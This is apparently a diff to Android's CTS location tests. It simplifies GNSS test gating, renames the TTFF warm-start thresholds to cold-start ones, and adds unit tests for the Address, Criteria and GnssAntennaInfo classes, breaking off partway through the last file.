+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -99,9 +90,6 @@
         mTestLocationManager.requestLocationUpdates(mLocationListener);
 
         mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            return;
-        }
 
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
index 9491bda..ee77f36 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -89,9 +88,7 @@
      */
     public void testGnssNavigationMessageRegistration() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -106,7 +103,10 @@
         mTestLocationManager.registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
 
         mTestGnssNavigationMessageListener.await();
-        if (!mTestGnssNavigationMessageListener.verifyState()) {
+
+        if (!mTestLocationManager.getLocationManager().getGnssCapabilities()
+                .hasNavigationMessages()) {
+            Log.i(TAG, "Skip the test since NavigationMessage is not supported.");
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
index 246df43..0cf7e25 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.os.Parcel;
 import android.util.Log;
 
@@ -78,9 +77,7 @@
      */
     public void testGnssNavigationMessageMandatoryFieldRanges() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -100,9 +97,12 @@
 
         boolean success = mTestGnssNavigationMessageListener.await();
 
-        if (!mTestGnssNavigationMessageListener.verifyState()) {
+        if (!mTestLocationManager.getLocationManager().getGnssCapabilities()
+                .hasNavigationMessages()) {
+            Log.i(TAG, "Skip the test since NavigationMessage is not supported.");
             return;
         }
+
         SoftAssert softAssert = new SoftAssert(TAG);
         softAssert.assertTrue(
             "Time elapsed without getting enough navigation messages."
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
index 2b8509e..db2e424 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -27,7 +27,6 @@
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
 import android.location.cts.gnss.pseudorange.PseudorangePositionVelocityFromRealTimeEvents;
-import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
@@ -110,9 +109,7 @@
   @CddTest(requirement="7.3.3")
   public void testPseudorangeValue() throws Exception {
     // Checks if Gnss hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-          mTestLocationManager,
-          TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
@@ -139,11 +136,6 @@
 
     Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
 
-    if (!mMeasurementListener.verifyStatus()) {
-      // If verifyStatus returns false, an assert exception happens and test fails.
-      return; // exit (with pass)
-    }
-
     List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
     int eventCount = events.size();
     Log.i(TAG, "Number of GNSS measurement events received = " + eventCount);
@@ -261,9 +253,7 @@
     @RequiresDevice  // emulated devices do not support real measurements so far.
     public void testPseudoPosition() throws Exception {
         // Checks if Gnss hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index 27467db..e23dd84 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -6,7 +6,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 public class GnssStatusTest extends GnssTestCase  {
@@ -26,8 +25,7 @@
    */
   public void testGnssStatusChanges() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
@@ -65,8 +63,7 @@
    */
   public void testGnssStatusValues() throws InterruptedException {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
     SoftAssert softAssert = new SoftAssert(TAG);
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
index 81c0292..c869fee 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
@@ -28,10 +28,10 @@
   private static final int AIDING_DATA_RESET_DELAY_SECS = 10;
   // Threshold values
   private static final int TTFF_HOT_TH_SECS = 5;
-  private static final int TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS = 10;
+  private static final int TTFF_WITH_WIFI_CELLUAR_COLD_TH_SECS = 10;
   // The worst case we saw in the Nexus 6p device is 15sec,
   // adding 20% margin to the threshold
-  private static final int TTFF_WITH_WIFI_ONLY_WARM_TH_SECS = 18;
+  private static final int TTFF_WITH_WIFI_ONLY_COLD_TH_SECS = 18;
 
   @Override
   protected void setUp() throws Exception {
@@ -40,9 +40,9 @@
   }
 
   /**
-   * Test the TTFF in the case where there is a network connection for both warm and hot start TTFF
+   * Test the TTFF in the case where there is a network connection for both cold and hot start TTFF
    * cases.
-   * We first test the "WARM" start where different TTFF thresholds are chosen based on network
+   * We first test the "COLD" start where different TTFF thresholds are chosen based on network
    * connection (cellular vs Wifi). Then we test the "HOT" start where the type of network
    * connection should not matter hence one threshold is used.
    * @throws Exception
@@ -56,26 +56,26 @@
 
     ensureNetworkStatus();
     if (hasCellularData()) {
-      checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS);
+      checkTtffColdWithWifiOn(TTFF_WITH_WIFI_CELLUAR_COLD_TH_SECS);
     }
     else {
-      checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_ONLY_WARM_TH_SECS);
+      checkTtffColdWithWifiOn(TTFF_WITH_WIFI_ONLY_COLD_TH_SECS);
     }
     checkTtffHotWithWifiOn(TTFF_HOT_TH_SECS);
   }
 
   /**
    * Test Scenario 1
-   * Check whether TTFF is below the threshold on the warm start with Wifi ON
+   * Check whether TTFF is below the threshold on the cold start with Wifi ON
    * 1) Delete the aiding data.
    * 2) Get GPS, check the TTFF value
    * @param threshold, the threshold for the TTFF value
    */
-  private void checkTtffWarmWithWifiOn(long threshold) throws Exception {
+  private void checkTtffColdWithWifiOn(long threshold) throws Exception {
     SoftAssert softAssert = new SoftAssert(TAG);
     mTestLocationManager.sendExtraCommand("delete_aiding_data");
     Thread.sleep(TimeUnit.SECONDS.toMillis(AIDING_DATA_RESET_DELAY_SECS));
-    checkTtffByThreshold("checkTtffWarmWithWifiOn",
+    checkTtffByThreshold("checkTtffColdWithWifiOn",
         TimeUnit.SECONDS.toMillis(threshold), softAssert);
     softAssert.assertAll();
   }
diff --git a/tests/location/location_none/Android.bp b/tests/location/location_none/Android.bp
index 9666ad9..4bc7488 100644
--- a/tests/location/location_none/Android.bp
+++ b/tests/location/location_none/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLocationNoneTestCases",
     defaults: ["cts_defaults"],
@@ -26,6 +22,8 @@
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        // TODO: remove once Android migrates to JUnit 4.12, which provides assertThrows:
+        "testng",
         "truth-prebuilt",
     ],
     libs: [
diff --git a/tests/location/location_none/src/android/location/cts/none/AddressTest.java b/tests/location/location_none/src/android/location/cts/none/AddressTest.java
new file mode 100644
index 0000000..3cdd139
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/AddressTest.java
@@ -0,0 +1,359 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.util.Locale;
+
+import android.location.Address;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class AddressTest {
+
+    private static final double DELTA = 0.001;
+
+    @Test
+    public void testConstructor() {
+        new Address(Locale.ENGLISH);
+
+        new Address(Locale.FRANCE);
+
+        new Address(null);
+    }
+
+    @Test
+    public void testAccessAdminArea() {
+        Address address = new Address(Locale.ITALY);
+
+        String adminArea = "CA";
+        address.setAdminArea(adminArea);
+        assertEquals(adminArea, address.getAdminArea());
+
+        address.setAdminArea(null);
+        assertNull(address.getAdminArea());
+    }
+
+    @Test
+    public void testAccessCountryCode() {
+        Address address = new Address(Locale.JAPAN);
+
+        String countryCode = "US";
+        address.setCountryCode(countryCode);
+        assertEquals(countryCode, address.getCountryCode());
+
+        address.setCountryCode(null);
+        assertNull(address.getCountryCode());
+    }
+
+    @Test
+    public void testAccessCountryName() {
+        Address address = new Address(Locale.KOREA);
+
+        String countryName = "China";
+        address.setCountryName(countryName);
+        assertEquals(countryName, address.getCountryName());
+
+        address.setCountryName(null);
+        assertNull(address.getCountryName());
+    }
+
+    @Test
+    public void testAccessExtras() {
+        Address address = new Address(Locale.TAIWAN);
+
+        Bundle extras = new Bundle();
+        extras.putBoolean("key1", false);
+        byte b = 10;
+        extras.putByte("key2", b);
+
+        address.setExtras(extras);
+        Bundle actual = address.getExtras();
+        assertFalse(actual.getBoolean("key1"));
+        assertEquals(b, actual.getByte("key2"));
+
+        address.setExtras(null);
+        assertNull(address.getExtras());
+    }
+
+    @Test
+    public void testAccessFeatureName() {
+        Address address = new Address(Locale.SIMPLIFIED_CHINESE);
+
+        String featureName = "Golden Gate Bridge";
+        address.setFeatureName(featureName);
+        assertEquals(featureName, address.getFeatureName());
+
+        address.setFeatureName(null);
+        assertNull(address.getFeatureName());
+    }
+
+    @Test
+    public void testAccessLatitude() {
+        Address address = new Address(Locale.CHINA);
+        assertFalse(address.hasLatitude());
+
+        double latitude = 1.23456789;
+        address.setLatitude(latitude);
+        assertTrue(address.hasLatitude());
+        assertEquals(latitude, address.getLatitude(), DELTA);
+
+        address.clearLatitude();
+        assertFalse(address.hasLatitude());
+        try {
+            address.getLatitude();
+            fail("should throw IllegalStateException.");
+        } catch (IllegalStateException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void testAccessLongitude() {
+        Address address = new Address(Locale.CHINA);
+        assertFalse(address.hasLongitude());
+
+        double longitude = 1.23456789;
+        address.setLongitude(longitude);
+        assertTrue(address.hasLongitude());
+        assertEquals(longitude, address.getLongitude(), DELTA);
+
+        address.clearLongitude();
+        assertFalse(address.hasLongitude());
+        try {
+            address.getLongitude();
+            fail("should throw IllegalStateException.");
+        } catch (IllegalStateException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void testAccessPhone() {
+        Address address = new Address(Locale.CHINA);
+
+        String phone = "+86-13512345678";
+        address.setPhone(phone);
+        assertEquals(phone, address.getPhone());
+
+        address.setPhone(null);
+        assertNull(address.getPhone());
+    }
+
+    @Test
+    public void testAccessPostalCode() {
+        Address address = new Address(Locale.CHINA);
+
+        String postalCode = "93110";
+        address.setPostalCode(postalCode);
+        assertEquals(postalCode, address.getPostalCode());
+
+        address.setPostalCode(null);
+        assertNull(address.getPostalCode());
+    }
+
+    @Test
+    public void testAccessThoroughfare() {
+        Address address = new Address(Locale.CHINA);
+
+        String thoroughfare = "1600 Ampitheater Parkway";
+        address.setThoroughfare(thoroughfare);
+        assertEquals(thoroughfare, address.getThoroughfare());
+
+        address.setThoroughfare(null);
+        assertNull(address.getThoroughfare());
+    }
+
+    @Test
+    public void testAccessUrl() {
+        Address address = new Address(Locale.CHINA);
+
+        String Url = "Url";
+        address.setUrl(Url);
+        assertEquals(Url, address.getUrl());
+
+        address.setUrl(null);
+        assertNull(address.getUrl());
+    }
+
+    @Test
+    public void testAccessSubAdminArea() {
+        Address address = new Address(Locale.CHINA);
+
+        String subAdminArea = "Santa Clara County";
+        address.setSubAdminArea(subAdminArea);
+        assertEquals(subAdminArea, address.getSubAdminArea());
+
+        address.setSubAdminArea(null);
+        assertNull(address.getSubAdminArea());
+    }
+
+    @Test
+    public void testToString() {
+        Address address = new Address(Locale.CHINA);
+
+        address.setUrl("www.google.com");
+        address.setPostalCode("95120");
+        String expected = "Address[addressLines=[],feature=null,admin=null,sub-admin=null," +
+                "locality=null,thoroughfare=null,postalCode=95120,countryCode=null," +
+                "countryName=null,hasLatitude=false,latitude=0.0,hasLongitude=false," +
+                "longitude=0.0,phone=null,url=www.google.com,extras=null]";
+        assertEquals(expected, address.toString());
+    }
+
+    @Test
+    public void testAddressLine() {
+        Address address = new Address(Locale.CHINA);
+
+        try {
+            address.setAddressLine(-1, null);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // pass
+        }
+
+        try {
+            address.getAddressLine(-1);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // pass
+        }
+
+        address.setAddressLine(0, null);
+        assertNull(address.getAddressLine(0));
+        assertEquals(0, address.getMaxAddressLineIndex());
+
+        final String line1 = "1";
+        address.setAddressLine(0, line1);
+        assertEquals(line1, address.getAddressLine(0));
+        assertEquals(0, address.getMaxAddressLineIndex());
+
+        final String line2 = "2";
+        address.setAddressLine(5, line2);
+        assertEquals(line2, address.getAddressLine(5));
+        assertEquals(5, address.getMaxAddressLineIndex());
+
+        address.setAddressLine(2, null);
+        assertNull(address.getAddressLine(2));
+        assertEquals(5, address.getMaxAddressLineIndex());
+    }
+
+    @Test
+    public void testGetLocale() {
+        Locale locale = Locale.US;
+        Address address = new Address(locale);
+        assertSame(locale, address.getLocale());
+
+        locale = Locale.UK;
+        address = new Address(locale);
+        assertSame(locale, address.getLocale());
+
+        address = new Address(null);
+        assertNull(address.getLocale());
+    }
+
+    @Test
+    public void testAccessLocality() {
+        Address address = new Address(Locale.PRC);
+
+        String locality = "Hollywood";
+        address.setLocality(locality);
+        assertEquals(locality, address.getLocality());
+
+        address.setLocality(null);
+        assertNull(address.getLocality());
+    }
+
+    @Test
+    public void testAccessPremises() {
+        Address address = new Address(Locale.PRC);
+
+        String premises = "Appartment";
+        address.setPremises(premises);
+        assertEquals(premises, address.getPremises());
+
+        address.setPremises(null);
+        assertNull(address.getPremises());
+    }
+
+    @Test
+    public void testAccessSubLocality() {
+        Address address = new Address(Locale.PRC);
+
+        String subLocality = "Sarchnar";
+        address.setSubLocality(subLocality);
+        assertEquals(subLocality, address.getSubLocality());
+
+        address.setSubLocality(null);
+        assertNull(address.getSubLocality());
+    }
+
+    @Test
+    public void testAccessSubThoroughfare() {
+        Address address = new Address(Locale.PRC);
+
+        String subThoroughfare = "1600";
+        address.setSubThoroughfare(subThoroughfare);
+        assertEquals(subThoroughfare, address.getSubThoroughfare());
+
+        address.setSubThoroughfare(null);
+        assertNull(address.getSubThoroughfare());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        Locale locale = Locale.KOREA;
+        Address address = new Address(locale);
+
+        Parcel parcel = Parcel.obtain();
+        address.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        assertEquals(locale.getLanguage(), parcel.readString());
+        assertEquals(locale.getCountry(), parcel.readString());
+        assertEquals(0, parcel.readInt());
+        assertEquals(address.getFeatureName(), parcel.readString());
+        assertEquals(address.getAdminArea(), parcel.readString());
+        assertEquals(address.getSubAdminArea(), parcel.readString());
+        assertEquals(address.getLocality(), parcel.readString());
+        assertEquals(address.getSubLocality(), parcel.readString());
+        assertEquals(address.getThoroughfare(), parcel.readString());
+        assertEquals(address.getSubThoroughfare(), parcel.readString());
+        assertEquals(address.getPremises(), parcel.readString());
+        assertEquals(address.getPostalCode(), parcel.readString());
+        assertEquals(address.getCountryCode(), parcel.readString());
+        assertEquals(address.getCountryName(), parcel.readString());
+        assertEquals(0, parcel.readInt());
+        assertEquals(0, parcel.readInt());
+        assertEquals(address.getPhone(), parcel.readString());
+        assertEquals(address.getUrl(), parcel.readString());
+        assertEquals(address.getExtras(), parcel.readBundle());
+
+        parcel.recycle();
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/CriteriaTest.java b/tests/location/location_none/src/android/location/cts/none/CriteriaTest.java
new file mode 100644
index 0000000..5ece9b4
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/CriteriaTest.java
@@ -0,0 +1,247 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.location.Criteria;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CriteriaTest {
+
+    @Test
+    public void testConstructor() {
+        new Criteria();
+
+        Criteria c = new Criteria();
+        c.setAccuracy(Criteria.ACCURACY_FINE);
+        c.setAltitudeRequired(true);
+        c.setBearingRequired(true);
+        c.setCostAllowed(true);
+        c.setPowerRequirement(Criteria.POWER_HIGH);
+        c.setSpeedRequired(true);
+        Criteria criteria = new Criteria(c);
+        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
+        assertTrue(criteria.isAltitudeRequired());
+        assertTrue(criteria.isBearingRequired());
+        assertTrue(criteria.isCostAllowed());
+        assertTrue(criteria.isSpeedRequired());
+        assertEquals(Criteria.POWER_HIGH, criteria.getPowerRequirement());
+
+        try {
+            new Criteria(null);
+            fail("should throw NullPointerException.");
+        } catch (NullPointerException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testDescribeContents() {
+        Criteria criteria = new Criteria();
+        criteria.describeContents();
+    }
+
+    @Test
+    public void testAccessAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setAccuracy(Criteria.ACCURACY_FINE);
+        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
+
+        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+        assertEquals(Criteria.ACCURACY_COARSE, criteria.getAccuracy());
+
+        try {
+            // It should throw IllegalArgumentException
+            criteria.setAccuracy(-1);
+            // issue 1728526
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            // It should throw IllegalArgumentException
+            criteria.setAccuracy(Criteria.ACCURACY_COARSE + 1);
+            // issue 1728526
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testAccessPowerRequirement() {
+        Criteria criteria = new Criteria();
+
+        criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getPowerRequirement());
+
+        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+        assertEquals(Criteria.POWER_MEDIUM, criteria.getPowerRequirement());
+
+        try {
+            criteria.setPowerRequirement(-1);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            criteria.setPowerRequirement(Criteria.POWER_HIGH + 1);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testAccessAltitudeRequired() {
+        Criteria criteria = new Criteria();
+
+        criteria.setAltitudeRequired(false);
+        assertFalse(criteria.isAltitudeRequired());
+
+        criteria.setAltitudeRequired(true);
+        assertTrue(criteria.isAltitudeRequired());
+    }
+
+    @Test
+    public void testAccessBearingAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setBearingAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getBearingAccuracy());
+
+        criteria.setBearingAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getBearingAccuracy());
+
+        criteria.setBearingAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getBearingAccuracy());
+      }
+
+    @Test
+    public void testAccessBearingRequired() {
+        Criteria criteria = new Criteria();
+
+        criteria.setBearingRequired(false);
+        assertFalse(criteria.isBearingRequired());
+
+        criteria.setBearingRequired(true);
+        assertTrue(criteria.isBearingRequired());
+    }
+
+    @Test
+    public void testAccessCostAllowed() {
+        Criteria criteria = new Criteria();
+
+        criteria.setCostAllowed(false);
+        assertFalse(criteria.isCostAllowed());
+
+        criteria.setCostAllowed(true);
+        assertTrue(criteria.isCostAllowed());
+    }
+
+    @Test
+    public void testAccessHorizontalAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setHorizontalAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getHorizontalAccuracy());
+
+        criteria.setHorizontalAccuracy(Criteria.ACCURACY_MEDIUM);
+        assertEquals(Criteria.ACCURACY_MEDIUM, criteria.getHorizontalAccuracy());
+
+        criteria.setHorizontalAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getHorizontalAccuracy());
+
+        criteria.setHorizontalAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getHorizontalAccuracy());
+    }
+
+    @Test
+    public void testAccessSpeedAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setSpeedAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getSpeedAccuracy());
+
+        criteria.setSpeedAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getSpeedAccuracy());
+
+        criteria.setSpeedAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getSpeedAccuracy());
+    }
+
+    @Test
+    public void testAccessSpeedRequired() {
+        Criteria criteria = new Criteria();
+
+        criteria.setSpeedRequired(false);
+        assertFalse(criteria.isSpeedRequired());
+
+        criteria.setSpeedRequired(true);
+        assertTrue(criteria.isSpeedRequired());
+    }
+
+    @Test
+    public void testAccessVerticalAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setVerticalAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getVerticalAccuracy());
+
+       criteria.setVerticalAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getVerticalAccuracy());
+
+        criteria.setVerticalAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getVerticalAccuracy());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        Criteria criteria = new Criteria();
+        criteria.setAltitudeRequired(true);
+        criteria.setBearingRequired(false);
+        criteria.setCostAllowed(true);
+        criteria.setSpeedRequired(true);
+
+        Parcel parcel = Parcel.obtain();
+        criteria.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        Criteria newCriteria = Criteria.CREATOR.createFromParcel(parcel);
+
+        assertEquals(criteria.getAccuracy(), newCriteria.getAccuracy());
+        assertEquals(criteria.getPowerRequirement(), newCriteria.getPowerRequirement());
+        assertEquals(criteria.isAltitudeRequired(), newCriteria.isAltitudeRequired());
+        assertEquals(criteria.isBearingRequired(), newCriteria.isBearingRequired());
+        assertEquals(criteria.isSpeedRequired(), newCriteria.isSpeedRequired());
+        assertEquals(criteria.isCostAllowed(), newCriteria.isCostAllowed());
+
+        parcel.recycle();
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssAntennaInfoTest.java b/tests/location/location_none/src/android/location/cts/none/GnssAntennaInfoTest.java
new file mode 100644
index 0000000..584a26e
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssAntennaInfoTest.java
@@ -0,0 +1,241 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.location.GnssAntennaInfo;
+import android.location.GnssAntennaInfo.PhaseCenterOffset;
+import android.location.GnssAntennaInfo.SphericalCorrections;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of GnssAntennaInfo class. This includes writing and reading from
+ * parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssAntennaInfoTest {
+
+    private static final double PRECISION = 0.0001;
+    private static final double[][] PHASE_CENTER_VARIATION_CORRECTIONS = new double[][]{
+        {5.29, 0.20, 7.15, 10.18, 9.47, 8.05},
+        {11.93, 3.98, 2.68, 2.66, 8.15, 13.54},
+        {14.69, 7.63, 13.46, 8.70, 4.36, 1.21},
+        {4.19, 12.43, 12.40, 0.90, 1.96, 1.99},
+        {7.30, 0.49, 7.43, 8.71, 3.70, 7.24},
+        {4.79, 1.88, 13.88, 3.52, 13.40, 11.81}
+    };
+    private static final double[][] PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES = new double[][]{
+            {1.77, 0.81, 0.72, 1.65, 2.35, 1.22},
+            {0.77, 3.43, 2.77, 0.97, 4.55, 1.38},
+            {1.51, 2.50, 2.23, 2.43, 1.94, 0.90},
+            {0.34, 4.72, 4.14, 4.78, 4.57, 1.69},
+            {4.49, 0.05, 2.78, 1.33, 3.20, 2.75},
+            {1.09, 0.31, 3.79, 4.32, 0.65, 1.23}
+    };
+    private static final double[][] SIGNAL_GAIN_CORRECTIONS = new double[][]{
+            {0.19, 7.04, 1.65, 14.84, 2.95, 9.21},
